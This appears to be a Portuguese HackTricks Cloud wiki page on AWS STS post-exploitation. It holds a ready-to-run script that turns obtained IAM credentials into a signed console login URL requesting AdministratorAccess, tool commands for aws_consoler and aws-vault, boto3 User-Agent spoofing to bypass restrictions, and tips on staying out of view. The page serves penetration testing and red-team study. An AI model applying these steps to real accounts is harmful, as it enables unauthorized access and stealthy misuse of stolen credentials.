AWS - STS Post Exploitation
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
STS
Para mais informações:
AWS - IAM, Identity Center & SSO Enum
From IAM Creds to Console
Se você conseguiu obter algumas credenciais IAM, pode se interessar em acessar o web console usando as ferramentas a seguir. Observe que o user/role deve ter a permissão sts:GetFederationToken.
Script personalizado
O script a seguir usará o default profile e uma default AWS location (não gov e não cn) para fornecer uma signed URL que você pode usar para fazer login no web console:
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi
# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"
# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
aws_consoler
Você pode gerar um link para o console da web com https://github.com/NetSPI/aws_consoler.
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
warning
Certifique-se de que o usuário IAM tenha permissão sts:GetFederationToken, ou forneça uma role para assumir.
aws-vault
aws-vault é uma ferramenta para armazenar e acessar com segurança credenciais AWS em um ambiente de desenvolvimento.
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
note
Você também pode usar aws-vault para obter uma browser console session
Bypass User-Agent restrictions from Python
Se houver uma restriction to perform certain actions based on the user agent usada (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para connect to the web console via a browser, ou você pode diretamente modify the boto3 user-agent fazendo:
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")
# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
sts:GetFederationToken
Com essa permissão é possível criar uma identidade federada para o usuário que a utiliza, limitada às permissões que esse usuário possui.
aws sts get-federation-token --name <username>
O token retornado por sts:GetFederationToken pertence à identidade federada do usuário que faz a chamada, mas com permissões restritas. Mesmo que o usuário tenha direitos de administrador, certas ações, como listar usuários do IAM ou anexar políticas, não podem ser executadas através do token federado.
Além disso, esse método é um pouco mais discreto, já que o usuário federado não aparece no AWS Portal; ele só pode ser observado através dos logs do CloudTrail ou de ferramentas de monitoramento.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud